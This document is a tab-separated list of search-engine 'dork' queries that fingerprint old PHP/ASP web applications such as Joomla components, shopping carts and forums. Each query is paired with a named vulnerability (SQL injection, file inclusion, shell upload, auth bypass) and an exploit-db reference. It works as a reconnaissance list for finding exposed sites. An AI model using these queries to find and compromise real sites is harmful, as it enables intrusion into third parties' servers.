"Powered By CMS-BRD"	"Powered By CMS-BRD"	CMS-BRD (menuclick) Remote SQL Injection Vulnerability - CVE: 2008-2837: http://www.exploit-db.com/exploits/5863
"inurl:/admin/" "ImageVue"	"inurl:/admin/" "ImageVue"	ImageVue 2.0 Remote Admin Login: http://www.exploit-db.com/exploits/10630
"TROforum 0.1"	"TROforum 0.1"	TROforum 0.1 (admin.php site_url) Remote File Inclusion Vulnerability - CVE: 2007-2937: http://www.exploit-db.com/exploits/3995
"Uploader by CeleronDude."	"Uploader by CeleronDude."	Uploader by CeleronDude 5.3.0 Shell Upload: http://www.exploit-db.com/exploits/10523
"Review Script" "Phil Taylor"	"Review Script" "Phil Taylor"	Mambo Component Comments 0.5.8.5g SQL Injection Vulnerability - CVE: 2008-0773: http://www.exploit-db.com/exploits/5094
intitle:Mp3 ToolBox 1.0	intitle:Mp3 ToolBox 1.0	Mp3 ToolBox 1.0 beta 5 (skin_file) Remote File Inclusion Vulnerability - CVE: 2007-6139: http://www.exploit-db.com/exploits/4650
Powered by: Maian Greetings v2.1	Powered by: Maian Greetings v2.1	Maian Greetings 2.1 Insecure Cookie Handling Vulnerability - CVE: 2008-7086: http://www.exploit-db.com/exploits/6050
allinurl: "com_alberghi" detail	allinurl: "com_alberghi" detail	Joomla Component Alberghi 2.1.3 (id) SQL Injection Vulnerability - CVE: 2008-1459: http://www.exploit-db.com/exploits/5278
"Powered By phpBB Garage 1.2.0"	"Powered By phpBB Garage 1.2.0"	phpBB Garage 1.2.0 Beta3 Remote SQL Injection Vulnerability - CVE: 2007-6223: http://www.exploit-db.com/exploits/4686
inurl:index.php?option=com_ynews	inurl:index.php?option=com_ynews	Joomla Component Ynews 1.0.0 (id) Remote SQL Injection Vulnerability - CVE: 2008-0653: http://www.exploit-db.com/exploits/5072
"Powie's PSCRIPT	"Powie's PSCRIPT MatchMaker	Powies MatchMaker 4.05

MatchMaker 4.05"	4.05"	(matchdetail.php) SQL Injection Vulnerability - CVE: 2006-6039: http://www.exploit-db.com/exploits/2798
inurl:etkinlikbak.asp	inurl:etkinlikbak.asp	Okul Web Otomasyon Sistemi 4.0.1 Remote SQL Injection Vulnerability - CVE: 2007-0305: http://www.exploit-db.com/exploits/3135
"Copyright 2008 ImenAfzar ver :2.0.0.0"	"Copyright 2008 ImenAfzar ver :2.0.0.0"	Namad (IMenAfzar) 2.0.0.0 Remote File Disclosure Vulnerability: http://www.exploit-db.com/exploits/8734
allinurl:com_comprofiler	allinurl:com_comprofiler	Joomla Community Builder 1.0.1 Blind SQL Injection Vulnerability - CVE: 2008-2093: http://www.exploit-db.com/exploits/5491
inurl:"com_joomlaradiov5"	inurl:"com_joomlaradiov5"	Joomla Component joomlaradio v5 Remote File Inclusion Vulnerability - CVE: 2007-4923: http://www.exploit-db.com/exploits/4401
"powered by phpAdBoard"	"powered by phpAdBoard"	phpAdBoard (php uploads) Arbitrary File Upload Vulnerability - CVE: 2008-6921: http://www.exploit-db.com/exploits/7562
"Powered by Quick.Cms"	"Powered by Quick.Cms"	Quick.Cms.Lite 0.5 (id) Remote SQL Injection Vulnerability - CVE: 2009-1410: http://www.exploit-db.com/exploits/8505
"Powered by wpQuiz" inurl:index.php	"Powered by wpQuiz" inurl:index.php	wpQuiz v2.7 Authentication Bypass Vulnerability - CVE: 2010-3608: http://www.exploit-db.com/exploits/15075
"Powered by UCStats version 1.1"	"Powered by UCStats version 1.1"	UCStats v1.1 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10891
"Powered by CCLeague Pro"	"Powered by CCLeague Pro"	CCLeague Pro 1.2 Insecure Cookie Authentication Vulnerability - CVE: 2008-5123: http://www.exploit-db.com/exploits/5888
intitle:Bilder Galerie 1.1 or intitle:Bilder Galerie	intitle:Bilder Galerie 1.1 or intitle:Bilder Galerie	MatPo Bilder Galerie 1.1 Remote File Inclusion Vulnerability - CVE: 2007-6649: http://www.exploit-db.com/exploits/4815

"Powered by: PostGuestbook 0.6.1"	"Powered by: PostGuestbook 0.6.1"	PHP-Nuke Module PostGuestbook 0.6.1 (tpl_pgb_moddir) RFI Vulnerability - CVE: 2007-1372: http://www.exploit-db.com/exploits/3423
"powered by sunshop"	"powered by sunshop"	SunShop Shopping Cart 3.5 (abs_path) RFI Vulnerabilities - CVE: 2007-2070: http://www.exploit-db.com/exploits/3748
"SQuery 4.5" |"SQuery 4.0" |"SQuery 3.9" | inurl:"modules.php?name=SQuery"	"SQuery 4.5" |"SQuery 4.0" |"SQuery 3.9" | inurl:"modules.php?name=SQuery"	SQuery 4.5 (gore.php) Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/2003
Powered by SkaDate Dating	Powered by SkaDate Dating	SkaDate Online 5.0/6.0 Remote File Disclosure Vulnerability - CVE: 2007-5299: http://www.exploit-db.com/exploits/4493
inurl:"ibase site:de"	inurl:"ibase site:de"	ibase 2.03 (download.php) Remote File Disclosure Vulnerability - CVE: 2008-6288: http://www.exploit-db.com/exploits/6126
"Powered by sNews"	"Powered by sNews"	sNews v1.7 (index.php?category) SQL Injection Vulnerability - CVE: 2010-2926: http://www.exploit-db.com/exploits/14465
"Powered by Gravy Media"	"Powered by Gravy Media"	Gravy Media Photo Host 1.0.8 Local File Disclosure Vulnerability - CVE: 2009-2184: http://www.exploit-db.com/exploits/8996
inurl:"index.php?option=com_djiceshoutbox"	inurl:"index.php?option=com_djiceshoutbox"	Joomla Djice Shoutbox 1.0 Permanent XSS Vulnerability: http://www.exploit-db.com/exploits/8197
inurl:com_filiale	inurl:com_filiale	Joomla Component Filiale 1.0.4 (idFiliale) SQL Injection Vulnerability - CVE: 2008-1935: http://www.exploit-db.com/exploits/5488
"Powered By AV Arcade"	"Powered By AV Arcade"	AV Arcade 2.1b (index.php id) Remote SQL Injection Vulnerability - CVE: 2007-3563: http://www.exploit-db.com/exploits/4138
Powered by NATTERCHAT v	Powered by NATTERCHAT v 1.1	NatterChat 1.1 (Auth Bypass) Remote SQL Injection Vulnerability - CVE:

1.1		2008-7049: http://www.exploit-db.com/exploits/7172
ogrencimezunlar.php	ogrencimezunlar.php	Okul Merkezi Portal 1.0 (ataturk.php) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/3012
inurl:index.php?option=com_yanc "listid"	inurl:index.php?option=com_yanc "listid"	Joomla Component com_yanc SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11603
Powered by 6rbScript	Powered by 6rbScript	6rbScript (news.php newsid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5663
powered by vpasp v 6.50	powered by vpasp v 6.50	VP-ASP Shopping Cart 6.50 Database Disclosure Vulnerability - CVE: 2008-5929: http://www.exploit-db.com/exploits/7438
allinurl:"/questcms/"	allinurl:"/questcms/"	QuestCMS (main.php) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/2137
inurl:com_eQuotes	inurl:com_eQuotes	Joomla Component equotes 0.9.4 Remote SQL injection Vulnerability - CVE: 2008-2628: http://www.exploit-db.com/exploits/5723
"Upload unique IP List:" AND "The Ultimate Fake Hit Generator - BOOST YOUR ALEXA RANK"	"Upload unique IP List:" AND "The Ultimate Fake Hit Generator - BOOST YOUR ALEXA RANK"	Fake Hit Generator 2.2 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/10230
"Powered by Xplode CMS"	"Powered by Xplode CMS"	Xplode CMS (wrap_script) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8373
Powered by Jewelry Cart Software	Powered by Jewelry Cart Software	Jewelry Cart Software (product.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11826
inurl:com_cpg	inurl:com_cpg	Mambo CopperminePhotoGalery Component Remote Include Vulnerability - CVE: 2006-4321:

		http://www.exploit-db.com/exploits/2196
inurl:ratelink.php?lnkid=	inurl:ratelink.php?lnkid=	Link Trader (lnkid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10834
"CNStats 2.9"	"CNStats 2.9"	CNStats 2.9 (who_r.php bj) Remote File Inclusion Vulnerability - CVE: 2007-2086: http://www.exploit-db.com/exploits/3741
"Browse with Interactive Map"	"Browse with Interactive Map"	PHP Real Estate (fullnews.php id) Remote SQL Injection Vulnerability - CVE: 2007-6462: http://www.exploit-db.com/exploits/4737
intext:"Powered By Azaronline.com"	intext:"Powered By Azaronline.com"	Azaronline Design SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15391
Powered by ephpscripts	Powered by ephpscripts	E-Shop Shopping Cart Script (search_results.php) SQL Injection Vuln - CVE: 2008-5838: http://www.exploit-db.com/exploits/6398
"powered by Blog System"	"powered by Blog System"	Blog System 1.x (note) SQL Injection Vuln - CVE: 2010-0458: http://www.exploit-db.com/exploits/11216
"Powered by DWdirectory"	"Powered by DWdirectory"	DWdirectory 2.1 Remote SQL Injection Vulnerability - CVE: 2007-6392: http://www.exploit-db.com/exploits/4708
"2005 www.frank-karau.de" | "2006 www.frank-karau.de"	"2005 www.frank-karau.de" | "2006 www.frank-karau.de"	GL-SH Deaf Forum 6.4.4 Local File Inclusion Vulnerabilities - CVE: 2007-3535: http://www.exploit-db.com/exploits/4124
inurl:jgs_treffen.php	inurl:jgs_treffen.php	Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability - CVE: 2008-1640: http://www.exploit-db.com/exploits/5329
"Powered by SoftbizScripts" inurl:"searchresult.php?sbcat_id="	"Powered by SoftbizScripts" inurl:"searchresult.php?sbcat_id="	Softbiz Recipes Portal Script Remote SQL Injection Vulnerability - CVE: 2007-5449: http://www.exploit-db.com/exploits/4527

Powered by SNETWORKS PHP CLASSIFIEDS	Powered by SNETWORKS PHP CLASSIFIEDS	SNETWORKS PHP CLASSIFIEDS 5.0 Remote File Inclusion Vulnerability - CVE: 2008-0137: http://www.exploit-db.com/exploits/4838
inurl:Editor/assetmanager/assetmanager.asp	inurl:Editor/assetmanager/assetmanager.asp	Asset Manager Remote File upload Vulnerability: http://www.exploit-db.com/exploits/12693
inurl:makaledetay.asp?id=	inurl:makaledetay.asp?id=	Mayasan Portal v2.0 (makaledetay.asp) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14420
inurl:"ir/addlink.php?id=" OR inurl:"addlink.php?id="	inurl:"ir/addlink.php?id=" OR inurl:"addlink.php?id="	list Web (addlink.php id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10838
inurl: Powered by Traidnt UP Version 1.0.	inurl: Powered by Traidnt UP Version 1.0.	Traidnt UP Version 1.0 Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/8006
inurl:"com_linkr"	inurl:"com_linkr"	Joomla Component com_linkr - Local File Inclusion: http://www.exploit-db.com/exploits/11756
inurl:"com_janews"	inurl:"com_janews"	Joomla Component com_janews - Local File Inclusion - CVE: 2010-1219: http://www.exploit-db.com/exploits/11757
inurl:"com_sectionex"	inurl:"com_sectionex"	Joomla Component com_sectionex - Local File Inclusion: http://www.exploit-db.com/exploits/11759
inurl:"com_rokdownloads"	inurl:"com_rokdownloads"	Joomla Component com_rokdownloads - Local File Inclusion - CVE: 2010-1056: http://www.exploit-db.com/exploits/11760
inurl:"com_ganalytics"	inurl:"com_ganalytics"	Joomla Component com_ganalytics - Local File Inclusion: http://www.exploit-db.com/exploits/11758
inurl:/phpfootball/	inurl:/phpfootball/	PHPFootball 1.6 (show.php) Remote Database Disclosure Vulnerability - CVE: 2007-0638: http://www.exploit-

		db.com/exploits/3226
"Search Adult Directory:"	"Search Adult Directory:"	Adult Directory (cat_id) Remote SQL Injection Vulnerability - CVE: 2007-4056: http://www.exploit-db.com/exploits/4238
inurl:forum_answer.php?que_id	inurl:forum_answer.php?que_id	AlstraSoft AskMe Pro 2.1 (profile.php?id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14986
allinurl:index.php?act=publ	allinurl:index.php?act=publ	Qwerty CMS (id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8104
inurl:"com_cartweberp"	inurl:"com_cartweberp"	Joomla Component com_cartweberp LFI Vulnerability - CVE: 2010-0982: http://www.exploit-db.com/exploits/10942
"PHPAuction GPL Enhanced V2.51 by AuctionCode.com "	"PHPAuction GPL Enhanced V2.51 by AuctionCode.com"	Auction_Software Script Admin Login Bypass vulnerability: http://www.exploit-db.com/exploits/14247
inurl:com_doqment	inurl:com_doqment	Joomla Component com_doqment (cid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10965
intext:PHPhotoalbum v0.5	intext:PHPhotoalbum v0.5	PHPhotoalbum 0.5 Multiple Remote SQL Injection Vulnerabilities - CVE: 2008-2501: http://www.exploit-db.com/exploits/5683
"Powered by OnePound"	"Powered by OnePound"	onepound shop 1.x products.php SQL Injection Vulnerability: http://www.exploit-db.com/exploits/9138
"Powered By : Yamamah Version 1.00"	"Powered By : Yamamah Version 1.00"	Yamamah Photo Gallery 1.00 (download.php) Local File Disclosure Vulnerability - CVE: 2010-2334: http://www.exploit-db.com/exploits/13856
"powered by SnoGrafx"	"powered by SnoGrafx"	SnoGrafx (cat.php?cat) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14523

allinurl:"xGb.php"	allinurl:"xGb.php"	xGB 2.0 (xGB.php) Remote Permission Bypass Vulnerability - CVE: 2007-4637: http://www.exploit-db.com/exploits/4336
"Powered by ForumApp"	"Powered by ForumApp"	ForumApp 3.3 Remote Database Disclosure Vulnerability - CVE: 2008-6147: http://www.exploit-db.com/exploits/7599
inurl:/component/jeeventcalendar/	inurl:/component/jeeventcalendar/	Joomla JE Event Calendar LFI Vulnerability: http://www.exploit-db.com/exploits/14062
allinurl: page_id album "photo"	allinurl: page_id album "photo"	Wordpress Photo album Remote SQL Injection Vulnerability - CVE: 2008-0939: http://www.exploit-db.com/exploits/5135
"Powered by beamospetition 1.0.12"	"Powered by beamospetition 1.0.12"	Joomla Component beamospetition 1.0.12 SQL Injection / XSS - CVE: 2009-0378: http://www.exploit-db.com/exploits/7847
"Powered by 68kb"	"Powered by 68kb"	68kb Knowledge Base Script v1.0.0rc2 Search SQL Injection: http://www.exploit-db.com/exploits/11925
intext:"powered and designed by Dow Group"	intext:"powered and designed by Dow Group"	Dow Group (new.php) SQL Injection: http://www.exploit-db.com/exploits/9491
"powered by devalcms v1.4.a"	"powered by devalcms v1.4.a"	devalcms 1.4a XSS / Remote Code Execution - CVE: 2008-6982: http://www.exploit-db.com/exploits/6369
inurl:com_webring	inurl:com_webring	Joomla Webring Component 1.0 Remote Include Vulnerability - CVE: 2006-4129: http://www.exploit-db.com/exploits/2177
inurl:hikaye.asp?id=	inurl:hikaye.asp?id=	Caner Hikaye Script SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14419
intext:Design by: runt communications	intext:Design by: runt communications	runt-communications Design SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12707
Copyright Agares	Copyright Agares Media	phpAutoVideo CSRF Vulnerability -

Media phpautovideo	phpautovideo	OSVDB-ID: 62450: http://www.exploit-db.com/exploits/11502
"Powered by DVHome.cn"	"Powered by DVHome.cn"	PHP TopTree BBS 2.0.1a (right_file) Remote File Inclusion Vulnerability - CVE: 2007-2544: http://www.exploit-db.com/exploits/3854
intext:"powered by Milonic" inurl:viewnews.php?id=	intext:"powered by Milonic" inurl:viewnews.php?id=	Milonic News (viewnews) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11031
"powered by ExtCalendar v2"	"powered by ExtCalendar v2"	com_extcalendar Mambo Component 2.0 Include Vulnerability: http://www.exploit-db.com/exploits/2022
"Search | Invite | Mail | Blog | Forum"	"Search | Invite | Mail | Blog | Forum"	Myspace Clone Script (index.php) Remote File Inclusion Vulnerability - CVE: 2007-6057: http://www.exploit-db.com/exploits/4628
"AcmlmBoard v1.A2"	"AcmlmBoard v1.A2"	AcmlmBoard 1.A2 (pow) Remote SQL Injection Vulnerability - CVE: 2008-5198: http://www.exploit-db.com/exploits/5969
inurl:index.php?option=com_mambads	inurl:index.php?option=com_mambads	Mambo Component com_mambads SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11719
inurl:"modules.php?name=My_eGallery"	inurl:"modules.php?name=My_eGallery"	PHP-Nuke My_eGallery 2.7.9 Remote SQL Injection Vulnerability - CVE: 2008-7038: http://www.exploit-db.com/exploits/5203
"Marketplace Version 1.1.1"	"Marketplace Version 1.1.1"	Joomla Component Marketplace 1.1.1 SQL Injection Vulnerability - CVE: 2008-0689: http://www.exploit-db.com/exploits/5055
"Powered by Ajax Portal 3.0"	"Powered by Ajax Portal 3.0"	MyioSoft Ajax Portal 3.0 (Auth Bypass) SQL Injection Vulnerability - CVE: 2008-5653: http://www.exploit-db.com/exploits/7044
"Powered By IP.Board 3.0.0 Beta 5"	"Powered By IP.Board 3.0.0 Beta 5"	Invision Power Board 3.0.0b5 Active XSS & Path Disclosure Vulns: http://www.exploit-db.com/exploits/8538

"MunzurSoft Wep Portal W3"	"MunzurSoft Wep Portal W3"	MunzurSoft Wep Portal W3 (kat) SQL Injection Vulnerability - CVE: 2008-4573: http://www.exploit-db.com/exploits/6725
Powered by Blox CMS from TownNews.com	Powered by Blox CMS from TownNews.com	Blox CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12729
allinurl :"wp-content/plugins/st_newsletter"	allinurl :"wp-content/plugins/st_newsletter"	Wordpress Plugin st_newsletter Remote SQL Injection Vulnerability - CVE: 2008-0683: http://www.exploit-db.com/exploits/5053
inurl:"links_showcat.php?"	inurl:"links_showcat.php?"	Dlili Script SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11318
Powered by SH-News 3.0	Powered by SH-News 3.0	SH-News 3.0 (comments.php id) Remote SQL Injection Vulnerability - CVE: 2007-6391: http://www.exploit-db.com/exploits/4709
"CaLogic Calendars V1.2.2"	"CaLogic Calendars V1.2.2"	CaLogic Calendars 1.2.2 (langsel) Remote SQL Injection Vulnerability - CVE: 2008-2444: http://www.exploit-db.com/exploits/5607
inurl:"com_pollxt"	inurl:"com_pollxt"	pollxt Mambo Component 1.22.07 Remote Include Vulnerability - CVE: 2006-5045: http://www.exploit-db.com/exploits/2029
Powered by PHP Links from DeltaScripts	Powered by PHP Links from DeltaScripts	PHP Links 1.3 (vote.php id) Remote SQL Injection Vulnerability - CVE: 2008-0565: http://www.exploit-db.com/exploits/5021
inurl:index.php?option=com_calendario	inurl:index.php?option=com_calendario	Joomla Component com_calendario Blind SQL injection Vulnerability: http://www.exploit-db.com/exploits/10760
Powered by PNphpBB2 / Powered por PNphpBB2	Powered by PNphpBB2 / Powered por PNphpBB2	PNphpBB2 1.2g (phpbb_root_path) Remote File Include Vulnerability - CVE: 2006-4968: http://www.exploit-db.com/exploits/2390
"Powered by Nukedit"	"Powered by Nukedit"	Nukedit 4.9.8 Remote Database Disclosure Vulnerability - CVE: 2008-5773: http://www.exploit-db.com/exploits/7491

Powered by "vcart 3.3.2"	Powered by "vcart 3.3.2"	vcart 3.3.2 Multiple Remote File Inclusion Vulnerabilities - CVE: 2008-0287: http://www.exploit-db.com/exploits/4889
Powered by SkaLinks	Powered by SkaLinks	SkaLinks 1.5 (Auth Bypass) SQL Injection Vulnerability - CVE: 2009-0451: http://www.exploit-db.com/exploits/7932
"mirco blogging"	"mirco blogging"	x10 mirco blogging V121 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12042
inurl:"nabopoll/"	inurl:"nabopoll/"	nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability - CVE: 2005-2157: http://www.exploit-db.com/exploits/3315
allinurl :"modules/eblog"	allinurl :"modules/eblog"	eXV2 Module eblog 1.2 (blog_id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5253
Powered By DataLife Engine	Powered By DataLife Engine	DataLife Engine 8.2 dle_config_api Remote File Inclusion Vulnerability - CVE: 2009-3055: http://www.exploit-db.com/exploits/9572
AlstraSoft Web "ESE"	AlstraSoft Web "ESE"	AlstraSoft Web Email Script Enterprise (id) SQL Injection Vuln - CVE: 2008-5751: http://www.exploit-db.com/exploits/7596
Powered by Maian Cart v1.1	Powered by Maian Cart v1.1	Maian Cart 1.1 Insecure Cookie Handling Vulnerability: http://www.exploit-db.com/exploits/6047
eXV2 MyAnnonces	eXV2 MyAnnonces	eXV2 Module MyAnnonces (lid) Remote SQL Injection Vulnerability - CVE: 2008-1406: http://www.exploit-db.com/exploits/5252
"BlogMe PHP created by Gamma Scripts"	"BlogMe PHP created by Gamma Scripts"	BlogMe PHP (comments.php id) SQL Injection Vulnerability - CVE: 2008-2175: http://www.exploit-db.com/exploits/5533
inurl:"/go/_files/?file="	inurl:"/go/_files/?file="	SOTEeSKLEP 3.5RC9 (file) Remote File Disclosure Vulnerability - CVE: 2007-4369: http://www.exploit-

		db.com/exploits/4282
inurl:"option=com_camelcitydb2"	inurl:"option=com_camelcitydb2"	Joomla CamelcityDB 2.2 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14530
Powered by PacerCMS	Powered by PacerCMS	PacerCMS 0.6 (last_module) Remote Code Execution Vulnerability - CVE: 2007-5056: http://www.exploit-db.com/exploits/5098
inurl:com_expshop	inurl:com_expshop	Joomla Component EXP Shop (catid) SQL Injection Vulnerability - CVE: 2008-2892: http://www.exploit-db.com/exploits/5893
intitle:"ITech Bids"	intitle:"ITech Bids"	ITechBids 5.0 (bidhistory.php item_id) Remote SQL Injection Vulnerability - CVE: 2008-0692: http://www.exploit-db.com/exploits/5056
Powered by CS-Cart - Shopping Cart Software	Powered by CS-Cart - Shopping Cart Software	CS-Cart 1.3.3 (classes_dir) Remote File Include Vulnerability - CVE: 2006-2863: http://www.exploit-db.com/exploits/1872
inurl:com_colophon	inurl:com_colophon	Mambo Colophon Component 1.2 Remote Inclusion Vulnerability - CVE: 2006-3969: http://www.exploit-db.com/exploits/2085
" Powered by JTL-Shop 2"	" Powered by JTL-Shop 2"	JTL-Shop 2 (druckansicht.php) SQL Injection Vulnerability - CVE: 2010-0691: http://www.exploit-db.com/exploits/11445
"Powered by PHP Shop from DeltaScripts"	"Powered by PHP Shop from DeltaScripts"	DeltaScripts PHP Shop 1.0 (Auth Bypass) SQL Injection Vulnerability - CVE: 2008-5648: http://www.exploit-db.com/exploits/7025
"Powered by sNews " inurl:index.php?id=	"Powered by sNews " inurl:index.php?id=	sNews (index.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14458
"Torbstoff News 4"	"Torbstoff News 4"	Torbstoff News 4 (pfad) Remote File Inclusion Vulnerability - CVE: 2006-4045: http://www.exploit-db.com/exploits/2121
intext:Powered by	intext:Powered by MX-System	MX-System 2.7.3 (index.php page)

MX-System 2.7.3	2.7.3	Remote SQL Injection Vulnerability - CVE: 2008-2477: http://www.exploit-db.com/exploits/5659
"Powered By 4smart"	"Powered By 4smart"	Magician Blog 1.0 (Auth Bypass) SQL injection Vulnerability: http://www.exploit-db.com/exploits/9283
intext:"Powered by Arcade Builder"	intext:"Powered by Arcade Builder"	ArcadeBuilder Game Portal Manager 1.7 Remote SQL Injection Vuln - CVE: 2007-3521: http://www.exploit-db.com/exploits/4133
"intext:Warning: passthru()" "inurl:view=help"	"intext:Warning: passthru()" "inurl:view=help"	PTC Site's RCE/XSS Vulnerability: http://www.exploit-db.com/exploits/12808
inurl:"index.php?id_menu="	inurl:"index.php?id_menu="	CMScontrol 7.x File Upload: http://www.exploit-db.com/exploits/11104
Powered By Coppermine Photo Gallery v1.2.2b /Powered By Coppermine	Powered By Coppermine Photo Gallery v1.2.2b /Powered By Coppermine	Coppermine Photo Gallery 1.2.2b (Nuke Addon) Include Vulnerability: http://www.exploit-db.com/exploits/2375
"powered by Nabernet"	"powered by Nabernet"	Nabernet (articles.php) Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11482
"Powered by VS PANEL 7.5.5"	"Powered by VS PANEL 7.5.5"	http://www.exploit-db.com/exploits/9171 - CVE: 2009-3595: http://www.exploit-db.com/exploits/9171
"powered by easytrade"	"powered by easytrade"	easyTrade 2.x (detail.php id) Remote SQL Injection Vulnerability - CVE: 2008-2790: http://www.exploit-db.com/exploits/5840
inurl:"articles.php?topic="	inurl:"articles.php?topic="	jPORTAL 2.3.1 articles.php Remote SQL Injection Vulnerability - CVE: 2007-5973: http://www.exploit-db.com/exploits/4614
inurl:"classifieds.php?op=detail_adverts"	inurl:"classifieds.php?op=detail_adverts"	PHP-Fusion Mod classifieds (lid) Remote SQL Injection Vulnerability - CVE: 2008-5197: http://www.exploit-db.com/exploits/5961
"Emefa Guestbook	"Emefa Guestbook V 3.0"	Emefa Guestbook 3.0 Remote

V 3.0"		Database Disclosure Vulnerability - CVE: 2008-5852: http://www.exploit-db.com/exploits/7534
powered by webit! cms	powered by webit! cms	Webit Cms SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12744
inurl:"char.php?id=" OR intitle:Minimanager for trinity server	inurl:"char.php?id=" OR intitle:Minimanager for trinity server	http://www.exploit-db.com/exploits/12554: http://www.exploit-db.com/exploits/12554
"wow roster version 1.*"	"wow roster version 1.*"	WoW Roster 1.70 (/lib/phpbb.php) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/2109
inurl:com_DTRegister eventId	inurl:com_DTRegister eventId	Joomla Component DT Register Remote SQL injection Vulnerability - CVE: 2008-3265: http://www.exploit-db.com/exploits/6086
"wow roster version 1.5.*"	"wow roster version 1.5.*"	WoW Roster 1.5.1 (subdir) Remote File Include Vulnerability - CVE: 2006-3998: http://www.exploit-db.com/exploits/2099
Powered by free simple software	Powered by free simple software	Free Simple Software v1.0 Remote File Inclusion Vulnerability - CVE: 2010-3307: http://www.exploit-db.com/exploits/14672
"TR Newsportal" brought by TRanx.	"TR Newsportal" brought by TRanx.	TR Newsportal 0.36tr1 (poll.php) Remote File Inclusion Vulnerability - CVE: 2006-2557: http://www.exploit-db.com/exploits/1789
Powered by Minerva 237	Powered by Minerva 237	Minerva 2.0.8a Build 237 (phpbb_root_path) File Include Vulnerability - CVE: 2006-3028: http://www.exploit-db.com/exploits/1908
"Powered By W3infotech"	"Powered By W3infotech"	W3infotech (Auth Bypass) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10222
inurl:"option=com_org"	inurl:"option=com_org"	Joomla Component com_org SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11725

"Powered by GameSiteScript"	"Powered by GameSiteScript"	GameSiteScript 3.1 (profile id) Remote SQL Injection Vulnerability - CVE: 2007-3631: http://www.exploit-db.com/exploits/4159
Powered by: Con-Imedia	Powered by: Con-Imedia	IMEDIA (index.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12665
(c) SriptBux 2008 | Powered By ScriptBux version 2.50 beta 1	(c) SriptBux 2008 | Powered By ScriptBux version 2.50 beta 1	Bux.to Clone Script Insecure Cookie Handling Vulnerability - CVE: 2008-6162: http://www.exploit-db.com/exploits/6652
"powered by twg"	"powered by twg"	TinyWebGallery 1.5 (image) Remote Include Vulnerabilities - CVE: 2006-4166: http://www.exploit-db.com/exploits/2158
allinurl:/phpress/	allinurl:/phpress/	phpress 0.2.0 (adisplay.php lang) Local File Inclusion Vulnerability: http://www.exploit-db.com/exploits/4382
"Powered by sendcard - an advanced PHP e-card program" - site:sendcard.org	"Powered by sendcard - an advanced PHP e-card program" - site:sendcard.org	Sendcard 3.4.1 (sendcard.php form) Local File Inclusion Vulnerability - CVE: 2007-2471: http://www.exploit-db.com/exploits/3827
intext: "Powered by Marinet"	intext: "Powered by Marinet"	Marinet cms SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12575
UPublisher	UPublisher	UPublisher 1.0 (viewarticle.asp) Remote SQL Injection Vulnerability - CVE: 2006-5888: http://www.exploit-db.com/exploits/2765
intitle:"Answer Builder" Ask a question	intitle:"Answer Builder" Ask a question	Expert Advisior (index.php id) Remote SQL Injection Vulnerbility - CVE: 2007-3882: http://www.exploit-db.com/exploits/4189
inurl:"tinybrowser.php?"	inurl:"tinybrowser.php?"	TinyBrowser Remote File upload Vulnerability: http://www.exploit-db.com/exploits/12692
inurl:"product_desc.php?id=" Powered by Zeeways.com	inurl:"product_desc.php?id=" Powered by Zeeways.com	ZeeWays Script SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11087

"Powered by ECShop v2.5.0"	"Powered by ECShop v2.5.0"	ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability - CVE: 2009-1622: http://www.exploit-db.com/exploits/8548
"powered by Photo-Graffix Flash Image Gallery"	"powered by Photo-Graffix Flash Image Gallery"	Photo Graffix 3.4 Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/8372
"inc_webblogmanager.asp"	"inc_webblogmanager.asp"	DMXReady Registration Manager 1.1 Arbitrary File Upload Vulnerability - CVE: 2009-2238: http://www.exploit-db.com/exploits/8749
inurl:tr.php?id=	inurl:tr.php?id=	Downline Goldmine Category Addon (id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6947
inurl:index.php?mod=jeuxflash	inurl:index.php?mod=jeuxflash	KwsPHP Module jeuxflash (cat) Remote SQL Injection Vulnerability - CVE: 2008-1759: http://www.exploit-db.com/exploits/5352
allinurl :"modules/gallery"	allinurl :"modules/gallery"	XOOPS Module Gallery 0.2.2 (gid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5241
intext:"Design by MMA Creative"	intext:"Design by MMA Creative"	MMA Creative Design SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12706
inurl:tr.php?id=	inurl:tr.php?id=	Downline Goldmine Builder (tr.php id) Remote SQL Injection Vulnerability - CVE: 2008-4178: http://www.exploit-db.com/exploits/6946
"com_noticias"	"com_noticias"	Joomla Component com_noticias 1.0 SQL Injection Vulnerability - CVE: 2008-0670: http://www.exploit-db.com/exploits/5081
